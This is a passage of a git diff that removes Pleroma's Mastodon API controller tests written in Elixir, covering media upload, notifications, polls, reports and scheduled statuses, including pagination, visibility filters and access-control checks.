object.data["actor"] == User.ap_id(conn.assigns[:user]) - end - - test "/api/v2/media", %{conn: conn, user: user, image: image} do - desc = "Description of the image" - - response = - conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/v2/media", %{"file" => image, "description" => desc}) - |> json_response_and_validate_schema(202) - - assert media_id = response["id"] - - %{conn: conn} = oauth_access(["read:media"], user: user) - - media = - conn - |> get("/api/v1/media/#{media_id}") - |> json_response_and_validate_schema(200) - - assert media["type"] == "image" - assert media["description"] == desc - assert media["id"] - - object = Object.get_by_id(media["id"]) - assert object.data["actor"] == user.ap_id - end - end - - describe "Update media description" do - setup do: oauth_access(["write:media"]) - - setup %{user: actor} do - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, %Object{} = object} = - ActivityPub.upload( - file, - actor: User.ap_id(actor), - description: "test-m" - ) - - [object: object] - end - - test "/api/v1/media/:id good request", %{conn: conn, object: object} do - media = - conn - |> put_req_header("content-type", "multipart/form-data") - |> put("/api/v1/media/#{object.id}", %{"description" => "test-media"}) - |> json_response_and_validate_schema(:ok) - - assert media["description"] == "test-media" - assert refresh_record(object).data["name"] == "test-media" - end - end - - describe "Get media by id (/api/v1/media/:id)" do - setup do: oauth_access(["read:media"]) - - setup %{user: actor} do - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, %Object{} = object} = - ActivityPub.upload( - file, - actor: User.ap_id(actor), - description: "test-media" - ) - - [object: object] - end - - test "it returns media object when requested by owner", %{conn: conn, object: object} do - media = - conn - |> get("/api/v1/media/#{object.id}") - |> json_response_and_validate_schema(:ok) - - assert media["description"] == "test-media" - assert media["type"] == "image" - assert media["id"] - end - - test "it returns 403 if media object requested by non-owner", %{object: object, user: user} do - %{conn: conn, user: other_user} = oauth_access(["read:media"]) - - assert object.data["actor"] == user.ap_id - refute user.id == other_user.id - - conn - |> get("/api/v1/media/#{object.id}") - |> json_response(403) - end - end -end diff --git a/test/web/mastodon_api/controllers/notification_controller_test.exs b/test/web/mastodon_api/controllers/notification_controller_test.exs deleted file mode 100644 index 70ef0e8b5..000000000 --- a/test/web/mastodon_api/controllers/notification_controller_test.exs +++ /dev/null @@ -1,626 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.NotificationControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Notification - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "does NOT render account/pleroma/relationship by default" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - {:ok, [_notification]} = Notification.create_notifications(activity) - - response = - conn - |> assign(:user, user) - |> get("/api/v1/notifications") - |> json_response_and_validate_schema(200) - - assert Enum.all?(response, fn n -> - get_in(n, ["account", "pleroma", "relationship"]) == %{} - end) - end - - test "list of notifications" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - - {:ok, [_notification]} = Notification.create_notifications(activity) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/notifications") - - expected_response = - "hi <span class=\"h-card\"><a class=\"u-url mention\" data-user=\"#{user.id}\" href=\"#{ - user.ap_id - }\" rel=\"ugc\">@<span>#{user.nickname}</span></a></span>" - - assert [%{"status" => %{"content" => response}} | _rest] = - json_response_and_validate_schema(conn, 200) - - assert response == expected_response - end - - test "by default, does not contain pleroma:chat_mention" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, _activity} = CommonAPI.post_chat_message(other_user, user, "hey") - - result = - conn - |> get("/api/v1/notifications") - |> json_response_and_validate_schema(200) - - assert [] == result - - result = - conn - |> get("/api/v1/notifications?include_types[]=pleroma:chat_mention") - |> json_response_and_validate_schema(200) - - assert [_] = result - end - - test "getting a single notification" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - - conn = get(conn, "/api/v1/notifications/#{notification.id}") - - expected_response = - "hi <span class=\"h-card\"><a class=\"u-url mention\" data-user=\"#{user.id}\" href=\"#{ - user.ap_id - }\" rel=\"ugc\">@<span>#{user.nickname}</span></a></span>" - - assert %{"status" => %{"content" => response}} = json_response_and_validate_schema(conn, 200) - assert response == expected_response - end - - test "dismissing a single notification (deprecated endpoint)" do - %{user: user, conn: conn} = oauth_access(["write:notifications"]) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - - conn = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/json") - |> post("/api/v1/notifications/dismiss", %{"id" => to_string(notification.id)}) - - assert %{} = json_response_and_validate_schema(conn, 200) - end - - test "dismissing a single notification" do - %{user: user, conn: conn} = oauth_access(["write:notifications"]) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/notifications/#{notification.id}/dismiss") - - assert %{} = json_response_and_validate_schema(conn, 200) - end - - test "clearing all notifications" do - %{user: user, conn: conn} = oauth_access(["write:notifications", "read:notifications"]) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - - {:ok, [_notification]} = Notification.create_notifications(activity) - - ret_conn = post(conn, "/api/v1/notifications/clear") - - assert %{} = json_response_and_validate_schema(ret_conn, 200) - - ret_conn = get(conn, "/api/v1/notifications") - - assert all = json_response_and_validate_schema(ret_conn, 200) - assert all == [] - end - - test "paginates notifications using min_id, since_id, max_id, and limit" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, activity1} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - {:ok, activity2} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - {:ok, activity3} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - {:ok, activity4} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - - notification1_id = get_notification_id_by_activity(activity1) - notification2_id = get_notification_id_by_activity(activity2) - notification3_id = get_notification_id_by_activity(activity3) - notification4_id = get_notification_id_by_activity(activity4) - - conn = assign(conn, :user, user) - - # min_id - result = - conn - |> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}") - |> json_response_and_validate_schema(:ok) - - assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result - - # since_id - result = - conn - |> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}") - |> json_response_and_validate_schema(:ok) - - assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result - - # max_id - result = - conn - |> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}") - |> json_response_and_validate_schema(:ok) - - assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result - end - - describe "exclude_visibilities" do - test "filters notifications for mentions" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, public_activity} = - CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "public"}) - - {:ok, direct_activity} = - CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "direct"}) - - {:ok, unlisted_activity} = - CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "unlisted"}) - - {:ok, private_activity} = - CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "private"}) - - query = params_to_query(%{exclude_visibilities: ["public", "unlisted", "private"]}) - conn_res = get(conn, "/api/v1/notifications?" <> query) - - assert [%{"status" => %{"id" => id}}] = json_response_and_validate_schema(conn_res, 200) - assert id == direct_activity.id - - query = params_to_query(%{exclude_visibilities: ["public", "unlisted", "direct"]}) - conn_res = get(conn, "/api/v1/notifications?" <> query) - - assert [%{"status" => %{"id" => id}}] = json_response_and_validate_schema(conn_res, 200) - assert id == private_activity.id - - query = params_to_query(%{exclude_visibilities: ["public", "private", "direct"]}) - conn_res = get(conn, "/api/v1/notifications?" <> query) - - assert [%{"status" => %{"id" => id}}] = json_response_and_validate_schema(conn_res, 200) - assert id == unlisted_activity.id - - query = params_to_query(%{exclude_visibilities: ["unlisted", "private", "direct"]}) - conn_res = get(conn, "/api/v1/notifications?" <> query) - - assert [%{"status" => %{"id" => id}}] = json_response_and_validate_schema(conn_res, 200) - assert id == public_activity.id - end - - test "filters notifications for Like activities" do - user = insert(:user) - %{user: other_user, conn: conn} = oauth_access(["read:notifications"]) - - {:ok, public_activity} = CommonAPI.post(other_user, %{status: ".", visibility: "public"}) - - {:ok, direct_activity} = - CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "direct"}) - - {:ok, unlisted_activity} = - CommonAPI.post(other_user, %{status: ".", visibility: "unlisted"}) - - {:ok, private_activity} = CommonAPI.post(other_user, %{status: ".", visibility: "private"}) - - {:ok, _} = CommonAPI.favorite(user, public_activity.id) - {:ok, _} = CommonAPI.favorite(user, direct_activity.id) - {:ok, _} = CommonAPI.favorite(user, unlisted_activity.id) - {:ok, _} = CommonAPI.favorite(user, private_activity.id) - - activity_ids = - conn - |> get("/api/v1/notifications?exclude_visibilities[]=direct") - |> json_response_and_validate_schema(200) - |> Enum.map(& &1["status"]["id"]) - - assert public_activity.id in activity_ids - assert unlisted_activity.id in activity_ids - assert private_activity.id in activity_ids - refute direct_activity.id in activity_ids - - activity_ids = - conn - |> get("/api/v1/notifications?exclude_visibilities[]=unlisted") - |> json_response_and_validate_schema(200) - |> Enum.map(& &1["status"]["id"]) - - assert public_activity.id in activity_ids - refute unlisted_activity.id in activity_ids - assert private_activity.id in activity_ids - assert direct_activity.id in activity_ids - - activity_ids = - conn - |> get("/api/v1/notifications?exclude_visibilities[]=private") - |> json_response_and_validate_schema(200) - |> Enum.map(& &1["status"]["id"]) - - assert public_activity.id in activity_ids - assert unlisted_activity.id in activity_ids - refute private_activity.id in activity_ids - assert direct_activity.id in activity_ids - - activity_ids = - conn - |> get("/api/v1/notifications?exclude_visibilities[]=public") - |> json_response_and_validate_schema(200) - |> Enum.map(& &1["status"]["id"]) - - refute public_activity.id in activity_ids - assert unlisted_activity.id in activity_ids - assert private_activity.id in activity_ids - assert direct_activity.id in activity_ids - end - - test "filters notifications for Announce activities" do - user = insert(:user) - %{user: other_user, conn: conn} = oauth_access(["read:notifications"]) - - {:ok, public_activity} = CommonAPI.post(other_user, %{status: ".", visibility: "public"}) - - {:ok, unlisted_activity} = - CommonAPI.post(other_user, %{status: ".", visibility: "unlisted"}) - - {:ok, _} = CommonAPI.repeat(public_activity.id, user) - {:ok, _} = CommonAPI.repeat(unlisted_activity.id, user) - - activity_ids = - conn - |> get("/api/v1/notifications?exclude_visibilities[]=unlisted") - |> json_response_and_validate_schema(200) - |> Enum.map(& &1["status"]["id"]) - - assert public_activity.id in activity_ids - refute unlisted_activity.id in activity_ids - end - - test "doesn't return less than the requested amount of records when the user's reply is liked" do - user = insert(:user) - %{user: other_user, conn: conn} = oauth_access(["read:notifications"]) - - {:ok, mention} = - CommonAPI.post(user, %{status: "@#{other_user.nickname}", visibility: "public"}) - - {:ok, activity} = CommonAPI.post(user, %{status: ".", visibility: "public"}) - - {:ok, reply} = - CommonAPI.post(other_user, %{ - status: ".", - visibility: "public", - in_reply_to_status_id: activity.id - }) - - {:ok, _favorite} = CommonAPI.favorite(user, reply.id) - - activity_ids = - conn - |> get("/api/v1/notifications?exclude_visibilities[]=direct&limit=2") - |> json_response_and_validate_schema(200) - |> Enum.map(& &1["status"]["id"]) - - assert [reply.id, mention.id] == activity_ids - end - end - - test "filters notifications using exclude_types" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, mention_activity} = CommonAPI.post(other_user, %{status: "hey @#{user.nickname}"}) - {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, favorite_activity} = CommonAPI.favorite(other_user, create_activity.id) - {:ok, reblog_activity} = CommonAPI.repeat(create_activity.id, other_user) - {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user) - - mention_notification_id = get_notification_id_by_activity(mention_activity) - favorite_notification_id = get_notification_id_by_activity(favorite_activity) - reblog_notification_id = get_notification_id_by_activity(reblog_activity) - follow_notification_id = get_notification_id_by_activity(follow_activity) - - query = params_to_query(%{exclude_types: ["mention", "favourite", "reblog"]}) - conn_res = get(conn, "/api/v1/notifications?" <> query) - - assert [%{"id" => ^follow_notification_id}] = json_response_and_validate_schema(conn_res, 200) - - query = params_to_query(%{exclude_types: ["favourite", "reblog", "follow"]}) - conn_res = get(conn, "/api/v1/notifications?" <> query) - - assert [%{"id" => ^mention_notification_id}] = - json_response_and_validate_schema(conn_res, 200) - - query = params_to_query(%{exclude_types: ["reblog", "follow", "mention"]}) - conn_res = get(conn, "/api/v1/notifications?" <> query) - - assert [%{"id" => ^favorite_notification_id}] = - json_response_and_validate_schema(conn_res, 200) - - query = params_to_query(%{exclude_types: ["follow", "mention", "favourite"]}) - conn_res = get(conn, "/api/v1/notifications?" <> query) - - assert [%{"id" => ^reblog_notification_id}] = json_response_and_validate_schema(conn_res, 200) - end - - test "filters notifications using include_types" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, mention_activity} = CommonAPI.post(other_user, %{status: "hey @#{user.nickname}"}) - {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, favorite_activity} = CommonAPI.favorite(other_user, create_activity.id) - {:ok, reblog_activity} = CommonAPI.repeat(create_activity.id, other_user) - {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user) - - mention_notification_id = get_notification_id_by_activity(mention_activity) - favorite_notification_id = get_notification_id_by_activity(favorite_activity) - reblog_notification_id = get_notification_id_by_activity(reblog_activity) - follow_notification_id = get_notification_id_by_activity(follow_activity) - - conn_res = get(conn, "/api/v1/notifications?include_types[]=follow") - - assert [%{"id" => ^follow_notification_id}] = json_response_and_validate_schema(conn_res, 200) - - conn_res = get(conn, "/api/v1/notifications?include_types[]=mention") - - assert [%{"id" => ^mention_notification_id}] = - json_response_and_validate_schema(conn_res, 200) - - conn_res = get(conn, "/api/v1/notifications?include_types[]=favourite") - - assert [%{"id" => ^favorite_notification_id}] = - json_response_and_validate_schema(conn_res, 200) - - conn_res = get(conn, "/api/v1/notifications?include_types[]=reblog") - - assert [%{"id" => ^reblog_notification_id}] = json_response_and_validate_schema(conn_res, 200) - - result = conn |> get("/api/v1/notifications") |> json_response_and_validate_schema(200) - - assert length(result) == 4 - - query = params_to_query(%{include_types: ["follow", "mention", "favourite", "reblog"]}) - - result = - conn - |> get("/api/v1/notifications?" <> query) - |> json_response_and_validate_schema(200) - - assert length(result) == 4 - end - - test "destroy multiple" do - %{user: user, conn: conn} = oauth_access(["read:notifications", "write:notifications"]) - other_user = insert(:user) - - {:ok, activity1} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - {:ok, activity2} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - {:ok, activity3} = CommonAPI.post(user, %{status: "hi @#{other_user.nickname}"}) - {:ok, activity4} = CommonAPI.post(user, %{status: "hi @#{other_user.nickname}"}) - - notification1_id = get_notification_id_by_activity(activity1) - notification2_id = get_notification_id_by_activity(activity2) - notification3_id = get_notification_id_by_activity(activity3) - notification4_id = get_notification_id_by_activity(activity4) - - result = - conn - |> get("/api/v1/notifications") - |> json_response_and_validate_schema(:ok) - - assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result - - conn2 = - conn - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:notifications"])) - - result = - conn2 - |> get("/api/v1/notifications") - |> json_response_and_validate_schema(:ok) - - assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result - - query = params_to_query(%{ids: [notification1_id, notification2_id]}) - conn_destroy = delete(conn, "/api/v1/notifications/destroy_multiple?" <> query) - - assert json_response_and_validate_schema(conn_destroy, 200) == %{} - - result = - conn2 - |> get("/api/v1/notifications") - |> json_response_and_validate_schema(:ok) - - assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result - end - - test "doesn't see notifications after muting user with notifications" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - user2 = insert(:user) - - {:ok, _, _, _} = CommonAPI.follow(user, user2) - {:ok, _} = CommonAPI.post(user2, %{status: "hey @#{user.nickname}"}) - - ret_conn = get(conn, "/api/v1/notifications") - - assert length(json_response_and_validate_schema(ret_conn, 200)) == 1 - - {:ok, _user_relationships} = User.mute(user, user2) - - conn = get(conn, "/api/v1/notifications") - - assert json_response_and_validate_schema(conn, 200) == [] - end - - test "see notifications after muting user without notifications" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - user2 = insert(:user) - - {:ok, _, _, _} = CommonAPI.follow(user, user2) - {:ok, _} = CommonAPI.post(user2, %{status: "hey @#{user.nickname}"}) - - ret_conn = get(conn, "/api/v1/notifications") - - assert length(json_response_and_validate_schema(ret_conn, 200)) == 1 - - {:ok, _user_relationships} = User.mute(user, user2, false) - - conn = get(conn, "/api/v1/notifications") - - assert length(json_response_and_validate_schema(conn, 200)) == 1 - end - - test "see notifications after muting user with notifications and with_muted parameter" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - user2 = insert(:user) - - {:ok, _, _, _} = CommonAPI.follow(user, user2) - {:ok, _} = CommonAPI.post(user2, %{status: "hey @#{user.nickname}"}) - - ret_conn = get(conn, "/api/v1/notifications") - - assert length(json_response_and_validate_schema(ret_conn, 200)) == 1 - - {:ok, _user_relationships} = User.mute(user, user2) - - conn = get(conn, "/api/v1/notifications?with_muted=true") - - assert length(json_response_and_validate_schema(conn, 200)) == 1 - end - - @tag capture_log: true - test "see move notifications" do - old_user = insert(:user) - new_user = insert(:user, also_known_as: [old_user.ap_id]) - %{user: follower, conn: conn} = oauth_access(["read:notifications"]) - - old_user_url = old_user.ap_id - - body = - File.read!("test/fixtures/users_mock/localhost.json") - |> String.replace("{{nickname}}", old_user.nickname) - |> Jason.encode!() - - Tesla.Mock.mock(fn - %{method: :get, url: ^old_user_url} -> - %Tesla.Env{status: 200, body: body} - end) - - User.follow(follower, old_user) - Pleroma.Web.ActivityPub.ActivityPub.move(old_user, new_user) - Pleroma.Tests.ObanHelpers.perform_all() - - conn = get(conn, "/api/v1/notifications") - - assert length(json_response_and_validate_schema(conn, 200)) == 1 - end - - describe "link headers" do - test "preserves parameters in link headers" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - other_user = insert(:user) - - {:ok, activity1} = - CommonAPI.post(other_user, %{ - status: "hi @#{user.nickname}", - visibility: "public" - }) - - {:ok, activity2} = - CommonAPI.post(other_user, %{ - status: "hi @#{user.nickname}", - visibility: "public" - }) - - notification1 = Repo.get_by(Notification, activity_id: activity1.id) - notification2 = Repo.get_by(Notification, activity_id: activity2.id) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/notifications?limit=5") - - assert [link_header] = get_resp_header(conn, "link") - assert link_header =~ ~r/limit=5/ - assert link_header =~ ~r/min_id=#{notification2.id}/ - assert link_header =~ ~r/max_id=#{notification1.id}/ - end - end - - describe "from specified user" do - test "account_id" do - %{user: user, conn: conn} = oauth_access(["read:notifications"]) - - %{id: account_id} = other_user1 = insert(:user) - other_user2 = insert(:user) - - {:ok, _activity} = CommonAPI.post(other_user1, %{status: "hi @#{user.nickname}"}) - {:ok, _activity} = CommonAPI.post(other_user2, %{status: "bye @#{user.nickname}"}) - - assert [%{"account" => %{"id" => ^account_id}}] = - conn - |> assign(:user, user) - |> get("/api/v1/notifications?account_id=#{account_id}") - |> json_response_and_validate_schema(200) - - assert %{"error" => "Account is not found"} = - conn - |> assign(:user, user) - |> get("/api/v1/notifications?account_id=cofe") - |> json_response_and_validate_schema(404) - end - end - - defp get_notification_id_by_activity(%{id: id}) do - Notification - |> Repo.get_by(activity_id: id) - |> Map.get(:id) - |> to_string() - end - - defp params_to_query(%{} = params) do - Enum.map_join(params, "&", fn - {k, v} when is_list(v) -> Enum.map_join(v, "&", &"#{k}[]=#{&1}") - {k, v} -> k <> "=" <> v - end) - end -end diff --git a/test/web/mastodon_api/controllers/poll_controller_test.exs b/test/web/mastodon_api/controllers/poll_controller_test.exs deleted file mode 100644 index f41de6448..000000000 --- a/test/web/mastodon_api/controllers/poll_controller_test.exs +++ /dev/null @@ -1,171 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.PollControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Object - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "GET /api/v1/polls/:id" do - setup do: oauth_access(["read:statuses"]) - - test "returns poll entity for object id", %{user: user, conn: conn} do - {:ok, activity} = - CommonAPI.post(user, %{ - status: "Pleroma does", - poll: %{options: ["what Mastodon't", "n't what Mastodoes"], expires_in: 20} - }) - - object = Object.normalize(activity) - - conn = get(conn, "/api/v1/polls/#{object.id}") - - response = json_response_and_validate_schema(conn, 200) - id = to_string(object.id) - assert %{"id" => ^id, "expired" => false, "multiple" => false} = response - end - - test "does not expose polls for private statuses", %{conn: conn} do - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(other_user, %{ - status: "Pleroma does", - poll: %{options: ["what Mastodon't", "n't what Mastodoes"], expires_in: 20}, - visibility: "private" - }) - - object = Object.normalize(activity) - - conn = get(conn, "/api/v1/polls/#{object.id}") - - assert json_response_and_validate_schema(conn, 404) - end - end - - describe "POST /api/v1/polls/:id/votes" do - setup do: oauth_access(["write:statuses"]) - - test "votes are added to the poll", %{conn: conn} do - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(other_user, %{ - status: "A very delicious sandwich", - poll: %{ - options: ["Lettuce", "Grilled Bacon", "Tomato"], - expires_in: 20, - multiple: true - } - }) - - object = Object.normalize(activity) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0, 1, 2]}) - - assert json_response_and_validate_schema(conn, 200) - object = Object.get_by_id(object.id) - - assert Enum.all?(object.data["anyOf"], fn %{"replies" => %{"totalItems" => total_items}} -> - total_items == 1 - end) - end - - test "author can't vote", %{user: user, conn: conn} do - {:ok, activity} = - CommonAPI.post(user, %{ - status: "Am I cute?", - poll: %{options: ["Yes", "No"], expires_in: 20} - }) - - object = Object.normalize(activity) - - assert conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [1]}) - |> json_response_and_validate_schema(422) == %{"error" => "Poll's author can't vote"} - - object = Object.get_by_id(object.id) - - refute Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 1 - end - - test "does not allow multiple choices on a single-choice question", %{conn: conn} do - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(other_user, %{ - status: "The glass is", - poll: %{options: ["half empty", "half full"], expires_in: 20} - }) - - object = Object.normalize(activity) - - assert conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0, 1]}) - |> json_response_and_validate_schema(422) == %{"error" => "Too many choices"} - - object = Object.get_by_id(object.id) - - refute Enum.any?(object.data["oneOf"], fn %{"replies" => %{"totalItems" => total_items}} -> - total_items == 1 - end) - end - - test "does not allow choice index to be greater than options count", %{conn: conn} do - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(other_user, %{ - status: "Am I cute?", - poll: %{options: ["Yes", "No"], expires_in: 20} - }) - - object = Object.normalize(activity) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [2]}) - - assert json_response_and_validate_schema(conn, 422) == %{"error" => "Invalid indices"} - end - - test "returns 404 error when object is not exist", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/polls/1/votes", %{"choices" => [0]}) - - assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} - end - - test "returns 404 when poll is private and not available for user", %{conn: conn} do - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(other_user, %{ - status: "Am I cute?", - poll: %{options: ["Yes", "No"], expires_in: 20}, - visibility: "private" - }) - - object = Object.normalize(activity) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0]}) - - assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} - end - end -end diff --git a/test/web/mastodon_api/controllers/report_controller_test.exs b/test/web/mastodon_api/controllers/report_controller_test.exs deleted file mode 100644 index 6636cff96..000000000 --- a/test/web/mastodon_api/controllers/report_controller_test.exs +++ /dev/null @@ -1,95 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.ReportControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - setup do: oauth_access(["write:reports"]) - - setup do - target_user = insert(:user) - - {:ok, activity} = CommonAPI.post(target_user, %{status: "foobar"}) - - [target_user: target_user, activity: activity] - end - - test "submit a basic report", %{conn: conn, target_user: target_user} do - assert %{"action_taken" => false, "id" => _} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/reports", %{"account_id" => target_user.id}) - |> json_response_and_validate_schema(200) - end - - test "submit a report with statuses and comment", %{ - conn: conn, - target_user: target_user, - activity: activity - } do - assert %{"action_taken" => false, "id" => _} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/reports", %{ - "account_id" => target_user.id, - "status_ids" => [activity.id], - "comment" => "bad status!", - "forward" => "false" - }) - |> json_response_and_validate_schema(200) - end - - test "account_id is required", %{ - conn: conn, - activity: activity - } do - assert %{"error" => "Missing field: account_id."} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/reports", %{"status_ids" => [activity.id]}) - |> json_response_and_validate_schema(400) - end - - test "comment must be up to the size specified in the config", %{ - conn: conn, - target_user: target_user - } do - max_size = Pleroma.Config.get([:instance, :max_report_comment_size], 1000) - comment = String.pad_trailing("a", max_size + 1, "a") - - error = %{"error" => "Comment must be up to #{max_size} characters"} - - assert ^error = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/reports", %{"account_id" => target_user.id, "comment" => comment}) - |> json_response_and_validate_schema(400) - end - - test "returns error when account is not exist", %{ - conn: conn, - activity: activity - } do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/reports", %{"status_ids" => [activity.id], "account_id" => "foo"}) - - assert json_response_and_validate_schema(conn, 400) == %{"error" => "Account not found"} - end - - test "doesn't fail if an admin has no email", %{conn: conn, target_user: target_user} do - insert(:user, %{is_admin: true, email: nil}) - - assert %{"action_taken" => false, "id" => _} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/reports", %{"account_id" => target_user.id}) - |> json_response_and_validate_schema(200) - end -end diff --git a/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs b/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs deleted file mode 100644 index 1ff871c89..000000000 --- a/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs +++ /dev/null @@ -1,139 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.ScheduledActivityControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Repo - alias Pleroma.ScheduledActivity - - import Pleroma.Factory - import Ecto.Query - - setup do: clear_config([ScheduledActivity, :enabled]) - - test "shows scheduled activities" do - %{user: user, conn: conn} = oauth_access(["read:statuses"]) - - scheduled_activity_id1 = insert(:scheduled_activity, user: user).id |> to_string() - scheduled_activity_id2 = insert(:scheduled_activity, user: user).id |> to_string() - scheduled_activity_id3 = insert(:scheduled_activity, user: user).id |> to_string() - scheduled_activity_id4 = insert(:scheduled_activity, user: user).id |> to_string() - - # min_id - conn_res = get(conn, "/api/v1/scheduled_statuses?limit=2&min_id=#{scheduled_activity_id1}") - - result = json_response_and_validate_schema(conn_res, 200) - assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result - - # since_id - conn_res = get(conn, "/api/v1/scheduled_statuses?limit=2&since_id=#{scheduled_activity_id1}") - - result = json_response_and_validate_schema(conn_res, 200) - assert [%{"id" => ^scheduled_activity_id4}, %{"id" => ^scheduled_activity_id3}] = result - - # max_id - conn_res = get(conn, "/api/v1/scheduled_statuses?limit=2&max_id=#{scheduled_activity_id4}") - - result = json_response_and_validate_schema(conn_res, 200) - assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result - end - - test "shows a scheduled activity" do - %{user: user, conn: conn} = oauth_access(["read:statuses"]) - scheduled_activity = insert(:scheduled_activity, user: user) - - res_conn = get(conn, "/api/v1/scheduled_statuses/#{scheduled_activity.id}") - - assert %{"id" => 